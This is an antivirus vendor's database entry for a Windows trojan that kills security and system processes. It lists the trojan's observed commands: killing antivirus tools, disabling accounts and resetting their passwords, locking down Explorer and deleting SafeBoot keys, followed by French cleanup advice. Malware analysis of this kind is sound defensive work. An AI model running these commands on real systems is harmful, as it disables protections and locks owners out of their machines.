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Profil

Trojan.KillProc2.22579

Added to the Dr.Web virus database: 2023-12-02

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe] 'Debugger' = 'C:\information.txt'
Malicious functions
Executes the following
  • '%WINDIR%\syswow64\taskkill.exe' -im explorer.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im CMCTrayIcon.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im K7TSecurity.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im UnThreat.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im MsMpEng.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im avp.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im RavMonD.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im kxetray.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im CorantiControlCenter32.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im F-FRONT.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im ksafe.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im TrojanHunter.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im Mcshield.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im BaiduSdSvc.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im hipstray.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im wsctrl.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im ashDisp.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im avcenter.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im mssecess.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im parmor.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im MongoosaGUI.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im vba32lder.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im cleaner8.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im taskmgr.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im regedit.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im notepad.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im mmc.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im mspaint.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im iexplore.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im winver.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im powershell.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im dwm.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im powershell_ise.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im msedge.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im firefox.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im sougouexplorer.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im control.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im mrt.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im 360tray.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im 360sd.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im ad-watch.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im chrome.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im DiskGenius.exe -f
  • '%WINDIR%\syswow64\taskkill.exe' -im PartitionGuru.exe -f
Launches a large number of processes
Terminates or attempts to terminate
the following system processes:
  • %WINDIR%\explorer.exe
  • <SYSTEM32>\dwm.exe
the following user processes:
  • iexplore.exe
  • firefox.exe
Modifies file system
Creates the following files
  • C:\information.txt
Miscellaneous
Searches for the following windows
  • ClassName: '' WindowName: ''
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /c start rundll32 lframe32.dll DiskLock
  • '%WINDIR%\syswow64\net1.exe' user user /active:no
  • '%WINDIR%\syswow64\net.exe' user user /active:no
  • '%WINDIR%\syswow64\cmd.exe' /c net user %username% /active:no
  • '%WINDIR%\syswow64\net1.exe' user Administrator "5845412403717084627145394762335739127387709348404231844925610072880742307070531167371324401343000011"
  • '%WINDIR%\syswow64\net.exe' user Administrator "5845412403717084627145394762335739127387709348404231844925610072880742307070531167371324401343000011"
  • '%WINDIR%\syswow64\cmd.exe' /c net user Administrator "5845412403717084627145394762335739127387709348404231844925610072880742307070531167371324401343000011"
  • '%WINDIR%\syswow64\net1.exe' user user "2235442307857157872680280085971466794416450232562660140930809993051679607928605921982400151868709327"
  • '%WINDIR%\syswow64\net.exe' user user "2235442307857157872680280085971466794416450232562660140930809993051679607928605921982400151868709327"
  • '%WINDIR%\syswow64\cmd.exe' /c net user %username% "2235442307857157872680280085971466794416450232562660140930809993051679607928605921982400151868709327"
  • '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t reg_sz /d "C:\information.txt" /f
  • '%WINDIR%\syswow64\chcp.com' 936
  • '%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t reg_sz /d "C:\information.txt" /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /f
  • '%WINDIR%\syswow64\notepad.exe' C:\information.txt
  • '%WINDIR%\syswow64\cmd.exe' /c start notepad C:\information.txt
  • '%WINDIR%\syswow64\cmd.exe' /c echo Microsoft Windows Update>>C:\information.txt
  • '%WINDIR%\syswow64\cmd.exe' /c echo Èç¹û¹Ø±Õ¼ÆËã»ú£¬¿ÉÄÜ»á³öÏÖδ֪´íÎó£¬ÉõÖÁµ¼Ö¼ÆËã»úÎÞ·¨Ê¹Óá£>>C:\information.txt
  • '%WINDIR%\syswow64\cmd.exe' /c echo Èç¹û¹Ø±Õ¸üд°¿Ú£¬¿ÉÄܻᵼÖ Windows À¶ÆÁ>>C:\information.txt
  • '%WINDIR%\syswow64\cmd.exe' /c echo Íê³Éºó¾Í»á¹ö»Ø¹¦ÂÊ£¬Õâ¿ÉÄÜÐèҪһЩʱ¼ä£¬×øºÍ·Å¿í¡£>>C:\information.txt
  • '%WINDIR%\syswow64\cmd.exe' /c echo Windows ÕýÔÚ¸üУ¬Çë²»Òª¹Ø±ÕÄúµÄ¼ÆËã»ú¡£>>C:\information.txt
  • '%WINDIR%\syswow64\cmd.exe' /c echo.>>C:\information.txt
  • '%WINDIR%\syswow64\cmd.exe' /c echo ------------------------------------------------------------->>C:\information.txt
  • '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /f
  • '%WINDIR%\syswow64\cmd.exe' /c echo Windows ВёГјГђГ‚ - 10.1.26000.20768 (Windows 12 26H2 Dev)>>C:\information.txt
  • '%WINDIR%\syswow64\cmd.exe' /c net user Administrator /active:no
  • '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetFolders /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetFolders /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d 4294967295 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d 4294967295 /f
  • '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\net1.exe' user Administrator /active:no
  • '%WINDIR%\syswow64\net.exe' user Administrator /active:no
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v shutdownwithoutlogon /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v shutdownwithoutlogon /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /va /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /va /f
  • '%WINDIR%\syswow64\cmd.exe' /c net user User /active:no
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c chcp 936
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im PartitionGuru.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im DiskGenius.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im firefox.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im msedge.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im chrome.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im powershell_ise.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im powershell.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im winver.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im iexplore.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im mspaint.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im mmc.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im control.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im notepad.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im taskmgr.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im dwm.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im explorer.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c color F1
  • '%WINDIR%\syswow64\mode.com' con cols=15 lines=1
  • '%WINDIR%\syswow64\cmd.exe' /c mode con cols=15 lines=1
  • '%WINDIR%\syswow64\mode.com' con cols=20 lines=1
  • '%WINDIR%\syswow64\cmd.exe' /c mode con cols=20 lines=1
  • '%WINDIR%\syswow64\cmd.exe' /c title Windows Setup
  • '%WINDIR%\syswow64\rundll32.exe' lframe32.dll DiskLock
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im regedit.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im mrt.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im sougouexplorer.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im 360tray.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im avcenter.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im RavMonD.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im ashDisp.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im wsctrl.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im hipstray.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im BaiduSdSvc.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im Mcshield.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im TrojanHunter.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im parmor.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im mssecess.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im ksafe.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im kxetray.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im avp.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im 360sd.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im MsMpEng.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im UnThreat.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im K7TSecurity.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im CMCTrayIcon.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im F-FRONT.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im CorantiControlCenter32.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im MongoosaGUI.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im vba32lder.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im cleaner8.exe -f
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill -im ad-watch.exe -f
  • '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t REG_DWORD /d 4294967295 /f

Recommandations pour le traitement

  1. Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. En savoir plus sur Dr.Web Security Space.
  2. Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.

Veuillez lancer le scan complet du système à l'aide de Dr.Web Antivirus pour Mac OS.

Veuillez lancer le scan complet de toutes les partitions du disque à l'aide de Dr.Web Antivirus pour Linux.

  1. Si votre appareil mobile fonctionne correctement, veuillez télécharger et installer sur votre appareil mobile Dr.Web pour Android. Lancez un scan complet et suivez les recommandations sur la neutralisation des menaces détectées.
  2. Si l'appareil mobile est bloqué par le Trojan de la famille Android.Locker (un message sur la violation grave de la loi ou la demande d'une rançon est affiché sur l'écran de l'appareil mobile), procédez comme suit:
    • démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
    • puis téléchargez et installez sur votre appareil mobile Dr.Web pour Android et lancez un scan complet puis suivez les recommandations sur la neutralisation des menaces détectées ;
    • Débranchez votre appareil et rebranchez-le.

En savoir plus sur Dr.Web pour Android